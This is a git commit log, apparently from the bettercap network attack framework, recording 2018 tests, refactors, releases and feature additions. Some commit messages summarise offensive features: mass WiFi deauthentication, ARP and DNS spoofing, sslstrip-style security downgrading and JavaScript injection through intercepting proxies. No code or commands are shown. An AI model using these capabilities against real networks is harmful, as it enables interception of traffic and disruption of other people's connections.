e7177107a7 Add more ParseCommand tests 2018-10-25 18:46:13 +02:00
Edznux
65ee524bf5 add module handler test 2018-10-25 17:26:42 +02:00
Edznux
d5f13f7a91 Add test for containsCapitals function 2018-10-25 05:16:44 +02:00
Edznux
ac37354986 Add unknown environment test for GetInt 2018-10-25 05:16:24 +02:00
Edznux
b00b4a738d Adds events tests 2018-10-25 05:15:56 +02:00
Edznux
b0ef8a83de Oops, misread some tests ! 2018-10-23 10:12:15 +02:00
Edznux
d80fef3ef9 Re-run gofmt -s after modifications 2018-10-23 06:35:22 +02:00
Edznux
e91d0cb63c Fix environment test 2018-10-23 06:23:10 +02:00
Edznux
9bca52a205 Remove tests from inexisting function : move to "islazy" repository 2018-10-23 06:20:17 +02:00
Edznux
35ef29f27b Refactor if/else in core and firewall packages 2018-10-23 06:16:30 +02:00
Edznux
191e8eacff Refactor if/else and switch for the modules package 2018-10-23 06:09:10 +02:00
Edznux
ed6d40f163 refactor if/else in network and packets packages 2018-10-23 05:32:51 +02:00
Edznux
1e12891bfb Refactor many if/else and switch for the session modules 2018-10-23 05:00:05 +02:00
Edznux
e333df35d4 Add gofmt -s to the build 2018-10-23 03:27:38 +02:00
Harald Nordgren
c867ae5c33 Bump Go versions 2018-10-21 14:31:07 +02:00
evilsocket
e93fe8ec4c
fix: fixed a nbns parsing bug who sometimes returned binary hostnames 2018-10-15 15:05:43 -05:00
evilsocket
90bb05cd5b
refact: updated to islazy 1.8.0 2018-10-15 15:01:57 -05:00
evilsocket
7f808ac059
refact: migrated aliases to islazy/data.UnsortedKV 2018-10-13 18:39:31 +02:00
evilsocket
2e5b2df7de
fix: fixed golint installation that broke the travis build 2018-10-13 14:30:54 +02:00
evilsocket
3342a82454 misc: small fix or general refactoring i did not bother commenting 2018-10-13 14:16:36 +02:00
evilsocket
dd2e8784dc misc: refactored and ported the plugin system to islazy/plugin.Plugin (huge optimization) 2018-10-13 14:13:06 +02:00
evilsocket
788c8d5994 fix: trimming route line (fixes #357) 2018-10-13 02:18:14 +02:00
evilsocket
236a9940d9 misc: added more debug logs (ref #357) 2018-10-12 19:09:53 +02:00
evilsocket
a95ae94957 fix: updated gopacket to fix compilation issues on macOS (ref #357) 2018-10-12 18:11:01 +02:00
evilsocket
5be3fcbf20
misc: small fix or general refactoring i did not bother commenting 2018-10-12 17:51:38 +02:00
evilsocket
ea6f680663 fix: fixed a compilation error on macOS 2018-10-12 17:39:54 +02:00
evilsocket
e50eaad7e6 new: added debug callback to the network package 2018-10-12 13:24:13 +02:00
evilsocket
058a6865ff
misc: small fix or general refactoring i did not bother commenting 2018-10-10 19:23:17 +02:00
evilsocket
d070445225 refact: refactored to use islazy and updated deps 2018-10-10 19:00:25 +02:00
evilsocket
a2b3ee79fb new: net.show now accepts a comma separated list of ip, macs or aliases to filter for 2018-10-06 14:57:40 +02:00
evilsocket
09caa4dd37 Releasing v2.10 2018-10-04 14:14:51 +02:00
evilsocket
7cbf04e6cb
misc: small fix or general refactoring i did not bother commenting 2018-09-29 12:49:17 +02:00
evilsocket
08f3766d30 new: new /api/session/modules route 2018-09-29 12:48:32 +02:00
evilsocket
f489d61440
misc: small fix or general refactoring i did not bother commenting 2018-09-29 12:37:48 +02:00
evilsocket
4a6d429bf8 new: new events.stream.http.request.dump and events.stream.http.response.dump parameters to enable or disable http dumps 2018-09-29 12:32:11 +02:00
evilsocket
9469c37ef0
misc: small fix or general refactoring i did not bother commenting 2018-09-29 12:25:13 +02:00
evilsocket
b98db78926 new: properly exposing module handlers and parameters from api.rest 2018-09-29 12:20:22 +02:00
evilsocket
87ac32cd6b
misc: small fix or general refactoring i did not bother commenting 2018-09-29 02:34:27 +02:00
evilsocket
8f7f6545b1 new: new api.rest.alloworigin parameter to customize the Access-Control-Allow-Origin header of the server. 2018-09-29 02:10:46 +02:00
evilsocket
2b117e14d6 new: exposing modules realtime status from the rest api 2018-09-28 22:05:38 +02:00
evilsocket
1220874473 new: the events.stream will now parse and display properly interesting http requests and responses 2018-09-28 19:59:31 +02:00
evilsocket
38a87e38b2 fix: fixed bettercap.service file to use the api.rest from the eval argument instead as an autostarted module 2018-09-27 16:56:01 +02:00
evilsocket
0ada0fdf7b fix: fixed a json encoding issue that caused the api.rest controller to return an empty list of events when a net.sniff http event is triggered 2018-09-27 16:09:11 +02:00
evilsocket
7b7739358d fix: locking the session object when it's read by the api module (fixes #349) 2018-09-27 15:25:35 +02:00
evilsocket
7951981815 fix 2018-09-26 16:40:02 +02:00
evilsocket
864d00f7d0
Merge pull request #348 from alexmozzhakov/patch-1
Re-include caplets in autocomplete
2018-09-26 14:34:34 +02:00
Alexey Mozzhakov
9abb153a31
Re-include caplets in autocomplete 2018-09-26 12:44:39 +03:00
evilsocket
7234323840
misc: small fix or general refactoring i did not bother commenting 2018-09-24 13:42:25 +02:00
evilsocket
197cff7108 new: mysql.server.outfile to save INFILE buffers to a file (also fixes #342) 2018-09-22 15:36:52 +02:00
evilsocket
431215b053 new: parsing device name from intercepted mdns:md values 2018-09-22 14:13:43 +02:00
evilsocket
654585ff1f
misc: small fix or general refactoring i did not bother commenting 2018-09-21 19:40:56 +02:00
evilsocket
91f074c3ee
misc: small fix or general refactoring i did not bother commenting 2018-09-21 17:02:53 +02:00
evilsocket
e79ba4952e new: new caplets module to manage system caplets 2018-09-21 16:49:20 +02:00
evilsocket
9721c1d6e0 misc: refactored caplets code in a dedicated package 2018-09-21 15:15:27 +02:00
evilsocket
d16b0c7cf5
new: dns.spoof now supports a hosts file with multiple mappings (closes #344) 2018-09-20 14:42:10 +02:00
evilsocket
3ed4db132c
fix: fixed a bug which prevented the first log messages not to be showed by the event.stream module 2018-09-20 14:02:56 +02:00
evilsocket
e0906c0afb
fix: enabled CORS on the api.rest module in order to allow usage from other ports 2018-09-17 17:39:52 +02:00
evilsocket
319b6059a5
fix: api.rest is now on http and port 8081 by default 2018-09-17 11:23:49 +02:00
evilsocket
31489e4d70
misc: small fix or general refactoring i did not bother commenting 2018-09-13 16:44:08 +02:00
evilsocket
c8f60e5968
misc: updated dependencies 2018-09-13 13:22:40 +02:00
evilsocket
678865cd6d
misc: small fix or general refactoring i did not bother commenting 2018-09-13 13:12:38 +02:00
evilsocket
e0381e5fba
misc: small fix or general refactoring i did not bother commenting 2018-09-13 13:02:47 +02:00
evilsocket
1da54080b9
new: new upnp discovery response parser 2018-09-13 12:51:48 +02:00
evilsocket
7a662cfee4
misc: small fix or general refactoring i did not bother commenting 2018-09-13 12:42:45 +02:00
evilsocket
8dfe78c491
misc: small fix or general refactoring i did not bother commenting 2018-09-13 12:12:02 +02:00
evilsocket
13be09c510
misc: minor optimization to the http proxy code 2018-09-13 12:07:21 +02:00
evilsocket
1afc21ac64
fix: displaying a warning message if the api.rest module authentication is disabled 2018-09-12 12:58:57 +02:00
evilsocket
342d1cf7c9
misc: small fix or general refactoring i did not bother commenting 2018-09-12 12:34:47 +02:00
evilsocket
3d312a9cdf
new: parsing UPNP discovery responses to get metadata about the endpoints 2018-09-12 11:56:07 +02:00
evilsocket
02f445c42c
Releasing v2.9 2018-09-11 15:16:05 +02:00
evilsocket
9f64372273
new: new net.show.meta boolean flag to enable or disable endpoints metainfo rendering 2018-09-09 20:24:49 +03:00
evilsocket
6f691245e0
misc: small fix or general refactoring i did not bother commenting 2018-09-09 18:50:36 +03:00
evilsocket
976465959e
new: using wireshark manufacturers file instead of oui.dat (closes #303) 2018-09-09 18:48:41 +03:00
evilsocket
7ef447e726
new: net.show now accepts an IP address parameter which, if present, will be the only endpoint listed in the table 2018-09-09 16:36:25 +03:00
evilsocket
b6adb2b65f
new: WSD discovery agent for net.probe 2018-09-09 14:10:24 +03:00
evilsocket
632f7700bf
misc: small fix or general refactoring i did not bother commenting 2018-09-09 14:02:36 +03:00
evilsocket
b81d26aa93
misc: small fix or general refactoring i did not bother commenting 2018-09-09 13:33:53 +03:00
evilsocket
549fdc45af
misc: small fix or general refactoring i did not bother commenting 2018-09-09 13:21:42 +03:00
evilsocket
42c71845ed
new: new net.probe.upnp agent 2018-09-09 13:12:04 +03:00
evilsocket
03161b1a95
new: new net.probe.nbns and net.probe.mdns boolean parameters to selectively enable or disable specific probe agents 2018-09-09 12:47:08 +03:00
evilsocket
eba546bef6
misc: small fix or general refactoring i did not bother commenting 2018-09-09 12:39:44 +03:00
evilsocket
e2cc4574c4
new: net.probe on uses both NBNS and MDNS queries to fetch endpoints metadata and hostnames 2018-09-09 12:35:00 +03:00
evilsocket
36999813c4
working on NBNS probe 2018-09-06 18:03:26 +03:00
evilsocket
e993bf73f8
new: net.probe now also sends multicast dns queries to force mDNS traffic and responses 2018-09-06 17:41:51 +03:00
evilsocket
84228f532f
Merge pull request #328 from eenblam/eenblam_tests
Add a few tests
2018-09-02 11:55:37 +03:00
eenblam
c917c6ddf5 lint: apply annoying gofmt
This keeps getting applied every time make test is run.
2018-08-31 15:42:15 -07:00
eenblam
06ba0903e7 lint: replace loop append(x, y...) 2018-08-31 15:41:35 -07:00
eenblam
a859c80b64 lint: use raw string for regex.MustCompile 2018-08-31 15:18:01 -07:00
eenblam
851e39c11b lint: remove comparisons to bool 2018-08-31 15:07:41 -07:00
eenblam
9f611beaa0 lint: unused value of out 2018-08-31 15:05:06 -07:00
eenblam
7cca7b9d93 Add tests for ParseTargets
Still need tests with actual alias map
2018-08-31 15:01:46 -07:00
eenblam
8778a2e9d6 Add iwlist <iface> freq test case 2018-08-31 14:09:54 -07:00
eenblam
56d1655727 Add initial test for net_linux.go
More tests needed based on iwlist output, but the side-effect-free
part of GetSupportedFrequencies() has been been broken out into a function
that can now be tested without calling core.Exec().
2018-08-31 14:09:54 -07:00
eenblam
3c3ed30001 Add tests for Session.ParseCommands()
Small tests, but can be expanded to table of cases
2018-08-31 14:09:54 -07:00
eenblam
45dc257aad Add more tests to core/swag_test.go
Trivial, but bumps coverage for core from 79.3% to 94.8%.
(Local coverage reporting seems to differ from coveralls)
2018-08-31 14:09:54 -07:00
evilsocket
ca978cc445
misc: small fix or general refactoring i did not bother commenting 2018-08-31 16:22:54 +03:00
evilsocket
da9919484b
new: net.sniff now also reports mDNS questions 2018-08-30 19:18:38 +03:00
evilsocket
cf000fc5f7
refact: refactored code to use gopacket for mDNS related stuff 2018-08-30 19:09:22 +03:00
evilsocket
a58d59d4cb
fix: fixed the way endpoints metas are rendered on the net.show table 2018-08-30 17:59:42 +03:00
evilsocket
798df7e32f
new: grabbing meta info from mDNS TXT records 2018-08-30 14:55:38 +03:00
evilsocket
3789b21ba1
fix: switched caplets folder to /usr/local/share/bettercap to keep cross OS compatibility (fixes bettercap/caplets/issues#25) 2018-08-30 14:10:43 +03:00
evilsocket
6df190a715
misc: small fix or general refactoring i did not bother commenting 2018-08-30 14:05:56 +03:00
evilsocket
1f9c151089
fix: api.rest will switch to http if provided key and certificate paths are empty 2018-08-30 12:52:01 +03:00
evilsocket
00c32c2cc6
new: net.sniff now will parse and print mDNS query responses 2018-08-30 12:30:08 +03:00
evilsocket
3034220f55
Merge branch 'passive-mdns-collector' 2018-08-29 17:51:24 +03:00
evilsocket
cd1510f60d
new: passive mdns collector for hostnames 2018-08-29 17:51:02 +03:00
evilsocket
5aa69aebff
new: systemd service file for bettercap as a system api.rest server 2018-08-29 16:02:47 +03:00
evilsocket
f9656e1d1d
new: disabling api.rest authentication if username or password are empty 2018-08-29 16:00:17 +03:00
evilsocket
f6bfd683ee
working on mdns collector 2018-08-29 15:48:19 +03:00
evilsocket
3b6ea499dd
misc: small fix or general refactoring i did not bother commenting 2018-08-27 10:14:31 +02:00
evilsocket
868aba8de0
fix: explicitly signaling when a net.sniff'ed http form is empty 2018-08-26 17:26:51 +02:00
evilsocket
9533c67d88
fix: net.sniff.verbose is false by default 2018-08-26 16:54:12 +02:00
evilsocket
2e952456bd
misc: small fix or general refactoring i did not bother commenting 2018-08-26 15:32:13 +02:00
evilsocket
52da653604
misc: small fix or general refactoring i did not bother commenting 2018-08-26 15:30:43 +02:00
evilsocket
cd0dcb63a4
misc: small fix or general refactoring i did not bother commenting 2018-08-26 15:30:10 +02:00
evilsocket
38694ad091
misc: small fix or general refactoring i did not bother commenting 2018-08-26 12:13:44 +02:00
evilsocket
855f9b243e
misc: small fix or general refactoring i did not bother commenting 2018-08-26 10:24:34 +02:00
evilsocket
a2327b7e8e
misc: small fix or general refactoring i did not bother commenting 2018-08-26 10:23:30 +02:00
evilsocket
b57e329632
misc: small fix or general refactoring i did not bother commenting 2018-08-25 11:50:23 +02:00
evilsocket
4e7377d2a0
misc: small fix or general refactoring i did not bother commenting 2018-08-25 11:42:24 +02:00
evilsocket
6eb3352f8b
misc: small fix or general refactoring i did not bother commenting 2018-08-25 11:37:20 +02:00
evilsocket
f213d0d0ca
fix: working directory is temporarily switched when running a caplet in order to properly load/include files relative to the caplet itself 2018-08-25 11:31:25 +02:00
evilsocket
9a3a514f6a
misc: small fix or general refactoring i did not bother commenting 2018-08-24 15:50:26 +02:00
evilsocket
031f2e64ff
fix: net.probe handled errors were turned into debug messages 2018-08-24 15:28:33 +02:00
evilsocket
cd14c17ca9
refact: refactored caplet loading and command completion logic 2018-08-24 14:05:00 +02:00
evilsocket
bb49de4476
misc: small fix or general refactoring i did not bother commenting 2018-08-21 15:23:00 +02:00
evilsocket
da5cbea7b1
fix: correct lookup of caplet files from multiple default paths 2018-08-21 13:45:46 +02:00
evilsocket
924387faf2
new: asking confirmation when the session is closed with CTRL+C / SIGINT
(closes #319)
2018-08-20 16:46:20 +02:00
evilsocket
6c43fb7673
misc: small fix or general refactoring i did not bother commenting 2018-08-20 16:12:22 +02:00
evilsocket
f79f4bff4c
minor refactoring of the ble module 2018-08-20 15:47:35 +02:00
evilsocket
42c5431f59
Releasing v2.8 2018-08-17 15:53:55 +02:00
evilsocket
1c3b9fc825
misc: small fix or general refactoring i did not bother commenting 2018-08-17 15:50:02 +02:00
evilsocket
4206fd6a22
fix: the data field and the return value of the onData callback for the tcp.proxy are now byte arrays instead of strings (fixes #284) 2018-08-17 15:30:00 +02:00
evilsocket
49beed239f
misc: wifi.deauth has been optimized by sorting frames to send by channel in order to minimize the amount of channel hops 2018-08-17 14:57:44 +02:00
evilsocket
148122e8fa
misc: small fix or general refactoring i did not bother commenting 2018-08-17 14:21:39 +02:00
evilsocket
5bf7814cba
fix: module parameters are now sorted by name when using the 'help module' command 2018-08-17 14:20:04 +02:00
evilsocket
7a08366516
new: single https certificate / authority fields can now be customized via dedicated module parameters ( http.server, https.proxy and api.rest ) 2018-08-17 14:11:50 +02:00
evilsocket
3d852a0fae
fix: fixing request and response headers and downgrading security even if sslstrip is disabled 2018-08-15 19:57:35 +02:00
evilsocket
e650958e8b
misc: small fix or general refactoring i did not bother commenting 2018-08-15 19:23:14 +02:00
evilsocket
1adb542735
misc: small fix or general refactoring i did not bother commenting 2018-08-14 18:01:42 +02:00
evilsocket
6c3157e9c4
new: implemented http.proxy.injectjs and https.proxy.injectjs to inject javascript code, files or URLs without a proxy module 2018-08-14 17:12:22 +02:00
evilsocket
7839a90c82
fix: removed bogus message from sniffer events reporting 2018-08-14 14:30:59 +02:00
evilsocket
cc8d1370f9
new: implemented any.proxy module to redirect traffic to custom proxy tools 2018-08-14 14:09:21 +02:00
evilsocket
b361856c0b
fix: deleting firewall port redirection when tcp.proxy is stopped 2018-08-14 14:03:11 +02:00
evilsocket
b7a9712e52
misc: small fix or general refactoring i did not bother commenting 2018-08-14 13:46:13 +02:00
evilsocket
9e393e5bf4
fix: network.SetInterfaceChannel won't exec iwconfig if the interface is already on the requested channel. 2018-08-02 17:57:14 +02:00
evilsocket
0f5beb72dd
refact: refactored wifi.deauth logic code 2018-08-02 17:26:51 +02:00
evilsocket
4d8270fe82
misc: small fix or general refactoring i did not bother commenting 2018-08-02 17:04:06 +02:00
evilsocket
7f905f4881
fix: fixed a race condition while doing wifi channel hopping 2018-08-02 17:03:11 +02:00
evilsocket
fa403ad0ec
refact: minor refactoring on the caplets paths parsing and autocomplete logic 2018-08-02 16:42:34 +02:00
evilsocket
db30cfdd6a
fix: pruning wifi clients not seen in the last 5 minutes 2018-07-31 17:20:47 +02:00
evilsocket
81fb3fe1a6
misc: small fix or general refactoring i did not bother commenting 2018-07-31 16:24:48 +02:00
evilsocket
e8cc664558
new: added /usr/share/bettercap/caplets/ as one of the default search paths for .cap files 2018-07-31 16:23:42 +02:00
evilsocket
3d1936ef61
misc: updated go-nmea dependency and refactored code for v1.1.0 2018-07-31 16:19:59 +02:00
evilsocket
f8ede4ddbe
fix: better mass deauth message 2018-07-29 16:23:52 +02:00
evilsocket
c26775a112
fix: better broadcast deauth logging message 2018-07-29 16:02:25 +02:00
evilsocket
024f14e3b6
fix: removed update.check from autostart 2018-07-29 15:59:18 +02:00
evilsocket
ae969c17ec
misc: small fix or general refactoring i did not bother commenting 2018-07-24 13:51:12 +02:00
evilsocket
9ab245d2d3
Releasing v2.7 2018-07-23 09:18:11 +02:00
evilsocket
51987ff84f
new: wifi.deauth now accepts a broadcast bssid, in which case it'll start deauthing every client from every access point 2018-07-23 08:55:10 +02:00
evilsocket
5ee7a9cf82
Merge pull request #302 from alexmozzhakov/master
Improvements to autocomplete
2018-07-23 06:20:32 +02:00
alexmozzhakov
bad9b41918 Removed debug log 2018-07-21 15:32:23 +03:00
alexmozzhakov
17d931a074 Adding search for caplets into autocomplete (only /caplets/ will be
searched recursively)
2018-07-21 15:28:13 +03:00
alexmozzhakov
7e952865cc This is a fix for showing MAC,BSSID and other CAPSed options 2018-07-21 15:23:49 +03:00
yungtravla
c03a549c00
Merge pull request #297 from alexmozzhakov/patch-2
Fix for domains that begin with localhost and 127.0.0.1
2018-06-25 03:12:08 +10:00
Alexey Mozzhakov
18c74ce6ef
Fix for requests with port specified 2018-06-23 19:17:16 +03:00
Alexey Mozzhakov
3c53e87df7
Fix for domains localhost.* and 127.0.0.1.* 2018-06-23 19:00:13 +03:00
Simone Margaritelli
92169f4fab
Merge pull request #292 from bettercap/refactored-http-headers
Refactored http headers
2018-06-15 11:45:37 +02:00
yungtravla
ff846bd6e5
Update http_proxy_js_response.go 2018-06-15 14:08:37 +10:00
yungtravla
77ca3550a0
Update http_proxy_js_request.go 2018-06-15 14:07:57 +10:00
Simone Margaritelli
2f41168d99
Merge pull request #282 from eenblam/fix-wifi-ap
Fix wifi.ap functionality
2018-06-04 10:03:44 +02:00
eenblam
d5b550db28 Fix wifi.ap functionality
Broken in 0de6f3a76e
2018-05-23 22:19:10 -07:00
evilsocket
1cd9795157
new: make install rule 2018-05-22 13:05:07 +02:00
evilsocket
a3ef4e66f0
misc: small fix or general refactoring i did not bother commenting 2018-05-22 12:46:46 +02:00
Simone Margaritelli
5ef0df0e7a
Merge pull request #280 from picatz/test-packets
add some tests to the packets package
2018-05-21 11:11:24 +02:00
Kent Gruber
d6564a5b4d add some queue tests 2018-05-20 14:29:12 -04:00
Kent Gruber
8b74453842 add some ntlm tests 2018-05-20 14:29:04 -04:00
Kent Gruber
f0f98bcd06 add some krb5 tests 2018-05-20 14:28:56 -04:00
Kent Gruber
d71477f502 add some dot11 types tests 2018-05-20 14:28:36 -04:00
Kent Gruber
cca6fc05d4 add some dot11 tests 2018-05-20 14:28:22 -04:00
Kent Gruber
56c4110312 add dhcp6 layer test 2018-05-17 13:19:13 -04:00
Kent Gruber
c3cfc1ef68 add dhcp6 test 2018-05-17 13:11:37 -04:00
Kent Gruber
0ef0257fbe add arp test 2018-05-17 12:43:42 -04:00
evilsocket
f48feddd00
new: implemented JSResponse.ClearBody API (closes #272) 2018-05-14 11:10:24 +02:00
evilsocket
507d1b71e9
misc: small fix or general refactoring i did not bother commenting 2018-05-14 11:04:24 +02:00
evilsocket
a536fb4c55
new: variables are now accessible from every command with {env.varname} (closes #276) 2018-05-14 10:24:53 +02:00
evilsocket
c326400257
Releasing v2.6 2018-05-12 13:23:35 +02:00
evilsocket
a164517717
updated non breaking dependencies 2018-05-12 13:12:48 +02:00
evilsocket
b75694f540
fix: fixed the leak of a channel if the events stream module was restarted 2018-05-12 12:36:47 +02:00
evilsocket
9f0b4a9502
fix: fixed events buffering, now no event is lost with multiple listeners (fixes #266) 2018-05-12 12:16:15 +02:00
evilsocket
e9fa015962
fix: do not probe while arp.spoofing, fixes arp.spoof on the whole subnet 2018-05-10 10:39:56 +02:00
yungtravla
a465116160
small consistency fix 2018-05-10 02:39:54 +10:00
yungtravla
c1b63f6257
Merge pull request #274 from bettercap/add-js-error-traceback
print traceback for more js errors
2018-05-10 01:12:14 +10:00
yungtravla
46f3d09612
print traceback for js errors 2018-05-10 01:11:32 +10:00
Simone Margaritelli
a5d26a545f
Merge pull request #273 from bettercap/add-js-error-traceback
Print traceback with line numbers for JS errors
2018-05-09 15:46:24 +02:00
yungtravla
58daec15ba
add js error traceback 2018-05-09 22:56:13 +10:00
yungtravla
e95623df5b
Update base_proxy_script.go 2018-05-09 22:39:38 +10:00
yungtravla
cfe5f9f76b
added missing comma 2018-05-07 18:44:53 +10:00
Simone Margaritelli
312f9cd2fe
Merge pull request #269 from yungtravla/master
Enable reading/writing of request scheme in HTTP proxy
2018-05-07 10:22:32 +02:00
yungtravla
1999665429
Enable reading/writing of request scheme in HTTP proxy 2018-05-07 15:29:49 +10:00
Simone Margaritelli
1c474c85d2
Merge pull request #267 from h-a-t/master
Dockerfile rework, Fix #123, #127 & #231, includes caplets
2018-05-06 21:16:38 +02:00
H.A.T
55c0cb1ce0
Dockerfile rework, Fixing #123, #127 & #231, including caplets 2018-05-06 00:57:23 +01:00
evilsocket
5041267be9
fixed net.FindGateway if there's a VPN interface active 2018-05-03 13:03:52 +02:00
Simone Margaritelli
407fd392b9
Merge pull request #265 from bettercap/revert-259-minor-refactors
Revert "Minor refactors using golint"
2018-05-03 12:31:54 +02:00
Simone Margaritelli
5328ced392
Revert "Minor refactors using golint" 2018-05-03 12:31:42 +02:00
Simone Margaritelli
9196be7a8b
Merge pull request #264 from picatz/fix-263
fix undefined: usr bug in core
2018-05-03 12:06:22 +02:00
Kent Gruber
f623505816 fix undefined: usr bug in core
The following fixes the issue for me when I run the following test:

$ go test -v -run=TestCoreExpandPath ./core
2018-05-03 01:54:23 -04:00
Simone Margaritelli
eaa5dab166
Merge pull request #262 from picatz/test-network-aliases
add test for aliases related functions in network package
2018-05-02 20:31:05 +02:00
Kent Gruber
db23b34b85 change type Alaises to Aliases
one day I will learn how to spell
2018-05-02 14:24:47 -04:00
Kent Gruber
871bbde89f make coherent lan test due to changes in aliases
messing with the Aliases test seems to cause issues for the lan test,
this fixes the error
2018-05-02 14:08:57 -04:00
Kent Gruber
0b55b645b1 add test for Find function 2018-05-02 13:58:42 -04:00
Kent Gruber
b387ed86e6 add test for Set function 2018-05-02 13:58:27 -04:00
Kent Gruber
e751ecf6a0 add test for Get function 2018-05-02 13:57:39 -04:00
Kent Gruber
383aa509c2 add test for Save function 2018-05-02 13:57:19 -04:00
Kent Gruber
aab5018de8 add test for saveUnlocked function 2018-05-02 13:57:03 -04:00
Kent Gruber
b91a6b51b3 add test for LoadAliases function 2018-05-02 13:56:44 -04:00
Kent Gruber
7180f6524e add buildExampleAlaises helper function
to be used later
2018-05-02 13:56:09 -04:00
Kent Gruber
f3487ad6d2 start adding test for aliases related functions in network package
this is the base for the rest of the tests
2018-05-02 13:55:36 -04:00
Simone Margaritelli
674188283f
Merge pull request #261 from picatz/test-network-meta
add test for meta related functions in network package
2018-05-02 19:34:32 +02:00
Kent Gruber
506c5722a8 loosen test for GetIntsWith function
getting weird stuff with this test… probably because I’m not
understanding it properly or something to write a coherent test for it.
2018-05-02 13:22:36 -04:00
Kent Gruber
7a6cf8f197 add test for Empty function 2018-05-02 13:20:38 -04:00
Kent Gruber
db7c2d0a74 add test for Each function 2018-05-02 13:18:52 -04:00
Kent Gruber
21c0fc43ca add test for GetOr function 2018-05-02 13:18:30 -04:00
Kent Gruber
00d6100214 add test for SetInts function 2018-05-02 13:18:12 -04:00
Kent Gruber
b8a0b86282 add test for GetIntsWith function with documented TODO
I didn’t really understand this function entirely.
2018-05-02 13:17:46 -04:00
Kent Gruber
e4352e8a98 add test for Set function 2018-05-02 13:17:06 -04:00
Kent Gruber
ec3227a16f add test for MarshalJSON function 2018-05-02 13:16:49 -04:00
Kent Gruber
889df698d1 add test for NewMeta function 2018-05-02 13:16:30 -04:00
Kent Gruber
d18491aff8 add buildExampleMeta helper function
to be used later in the rest of the tests
2018-05-02 13:15:45 -04:00
Kent Gruber
db8e2399b0 start adding test for meta related functions in network package 2018-05-02 13:15:24 -04:00
Simone Margaritelli
a87d84be76
Merge pull request #260 from picatz/minor-refactor-to-packets-queue
replace q.Protos[name] += 1 with q.Protos[name]++
2018-05-02 17:52:31 +02:00
Kent Gruber
6414f00df7 replace q.Protos[name] += 1 with q.Protos[name]++
minor refactor from golint:
should replace q.Protos[name] += 1 with q.Protos[name]++
2018-05-02 11:48:26 -04:00
Simone Margaritelli
f35a8b98ac
Merge pull request #259 from picatz/minor-refactors
Minor refactors using golint
2018-05-02 10:21:11 +02:00
Simone Margaritelli
fc070138bf
Merge pull request #257 from picatz/test-network-wifi
add basic test for WiFi related functions in network package
2018-05-02 10:20:28 +02:00
Kent Gruber
ca42274656 if block ends with a return statement drop this else and outdent its block 2018-05-01 23:22:29 -04:00
Kent Gruber
f09125b166 if block ends with a return statement drop this else and outdent its block 2018-05-01 23:22:26 -04:00
Kent Gruber
bfdd7db018 if block ends with a return statement drop this else and outdent its block 2018-05-01 23:22:21 -04:00
Kent Gruber
f128d3a035 if block ends with a return statement drop this else and outdent its block 2018-05-01 23:22:19 -04:00
Kent Gruber
6a69369491 if block ends with a return statement drop this else and outdent its block 2018-05-01 23:22:16 -04:00
Kent Gruber
c6bbbca93f if block ends with a return statement drop this else and outdent its block 2018-05-01 23:22:13 -04:00
Kent Gruber
5619127f93 if block ends with a return statement drop this else and outdent its block 2018-05-01 23:22:10 -04:00
Kent Gruber
c2db4b0d67 if block ends with a return statement drop this else and outdent its block 2018-05-01 23:22:06 -04:00
Kent Gruber
55614a7f28 if block ends with a return statement drop this else and outdent its block 2018-05-01 23:21:54 -04:00
Kent Gruber
343ad54b9a if block ends with a return statement drop this else and outdent its block 2018-05-01 23:21:52 -04:00
Kent Gruber
069ad23282 if block ends with a return statement drop this else and outdent its block 2018-05-01 23:21:49 -04:00
Kent Gruber
aee47df0a6 if block ends with a return statement drop this else and outdent its block 2018-05-01 23:21:46 -04:00
Kent Gruber
3f8226ff67 if block ends with a return statement drop this else and outdent its block 2018-05-01 23:21:42 -04:00
Kent Gruber
9505a149ce if block ends with a return statement drop this else and outdent its block 2018-05-01 23:15:05 -04:00
Kent Gruber
d65bee06ce if block ends with a return statement drop this else and outdent its block 2018-05-01 23:13:33 -04:00
Kent Gruber
024f978c3a golint says don't use underscores in Go names; var from_hw should be fromHw 2018-05-01 23:13:16 -04:00
Kent Gruber
7996fc40ff if block ends with a return statement drop this else and outdent its block 2018-05-01 23:10:55 -04:00
Kent Gruber
db18057fce if block ends with a return statement drop this else and outdent its block 2018-05-01 23:10:49 -04:00
Kent Gruber
f0408bc514 if block ends with a return statement drop this else and outdent its block 2018-05-01 23:09:09 -04:00
Kent Gruber
2522b89069 if block ends with a return statement drop this else and outdent its block 2018-05-01 23:08:11 -04:00
Kent Gruber
e02e13ab63 if block ends with a return statement drop this else and outdent its block 2018-05-01 23:06:58 -04:00
Kent Gruber
ea43018146 if block ends with a return statement drop this else and outdent its block 2018-05-01 23:06:11 -04:00
Kent Gruber
8193834f0f if block ends with a return statement drop this else and outdent its block 2018-05-01 23:05:26 -04:00
Kent Gruber
84864d5dc9 if block ends with a return statement drop this else and outdent its block
trying out some lint drive refactoring with golint :D
2018-05-01 23:02:28 -04:00
Kent Gruber
660f326806 add test for Clear 2018-05-01 22:40:40 -04:00
Kent Gruber
6911941fa2 add test for GetClient 2018-05-01 22:40:24 -04:00
Kent Gruber
07ba5e8d57 add test for Get 2018-05-01 22:40:03 -04:00
Kent Gruber
116ae12194 add test for AddIfNew 2018-05-01 22:39:47 -04:00
Kent Gruber
aa69d7499a add test for Remove 2018-05-01 22:39:32 -04:00
Kent Gruber
0024434944 add test for List 2018-05-01 22:39:19 -04:00
Kent Gruber
a9a37593a6 add test for Stations 2018-05-01 22:39:05 -04:00
Kent Gruber
36562bc7a9 add test for EachAccessPoint 2018-05-01 22:38:48 -04:00
Kent Gruber
dfa55d2a2e add test for MarshalJSON 2018-05-01 22:37:40 -04:00
Kent Gruber
74b387bf41 add test for NewWiFi 2018-05-01 22:37:20 -04:00
Kent Gruber
74c99d5ea1 add test for Dot11Chan2Freq 2018-05-01 22:37:03 -04:00
Kent Gruber
7e21ec9a97 add test for Dot11Freq2Chan 2018-05-01 22:36:45 -04:00
Kent Gruber
92395b6170 add helper function to build example WiFi struct
to be used in the rest of the tests, basically
2018-05-01 22:36:26 -04:00
Kent Gruber
7f34d0f6e7 start adding tests for wifi functions in network package
this is the base for all the tests
2018-05-01 22:35:54 -04:00
Simone Margaritelli
d91f8e0a75
Merge pull request #256 from picatz/test-network-oui
Add basic network oui test
2018-05-01 21:56:37 +02:00
Kent Gruber
29ec4edc63 add test for OuiLookup 2018-05-01 15:47:33 -04:00
Kent Gruber
90676d0289 add basic oui variable check
should contain information for the known organizational unique
identifiers
2018-05-01 15:47:05 -04:00
Kent Gruber
c71113b321 start adding tests for oui related functions in the network package
this is the base for the test
2018-05-01 15:45:43 -04:00
Simone Margaritelli
7c58d18157
Merge pull request #255 from picatz/test-network-lan
add tests for lan related functions in network package
2018-05-01 21:27:20 +02:00
Kent Gruber
